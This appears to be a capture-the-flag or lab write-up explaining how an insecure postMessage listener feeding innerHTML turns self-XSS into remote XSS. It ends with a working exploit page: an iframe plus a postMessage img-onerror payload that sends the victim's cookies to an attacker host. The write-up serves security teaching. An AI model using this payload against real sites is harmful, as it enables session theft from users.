from-self-xss-to-real-xss

From self-XSS to real XSS

What’s new here?

This challenge combines two bugs:

1. Insecure postMessage listener
   • No event.origin validation
2. DOM XSS sink
   • Message content is injected into the DOM unsafely

Result: Remote XSS via iframe

---

Mental model

Normally

• Self-XSS requires user interaction
• Not exploitable remotely

Here

• postMessage lets attacker send data into victim’s DOM
• postMessage removes user interaction
• iframe makes it cross-origin

Self-XSS → Stored/Reflected XSS equivalent

Vulnerable pattern

Vulnerable listener

window.addEventListener("message", function (event) {
  document.getElementById("output").innerHTML = event.data;
});

• No origin check
• Uses innerHTML
• Attacker controls event.data

Attack Flow

Victim logged in
        ↓
Victim visits attacker page
        ↓
Attacker loads vulnerable site in iframe
        ↓
Attacker sends XSS payload via postMessage
        ↓
Payload executes in victim origin
        ↓
Cookies / secrets leaked

The Attack

To exploit this issue, you will need to create a malicious HTML page that will open the vulnerable page in an iframe and postMessage to the iframe.

<iframe src="http://ptl-dd5dd9f3643d-ad3e978ff5fb.libcurl.me/" id=f width=100% height=600></iframe>
<script>
setTimeout(()=>{
  f.contentWindow.postMessage(`
    <img src=x onerror="location='http://public-ip/?c='+encodeURIComponent(document.cookie)">
  `,"*");
}, 3000);
</script>

This will send the XSS payload to the event listener, which gets injected to the page using innerHTML which executes the xss payload and we can steal the cookie.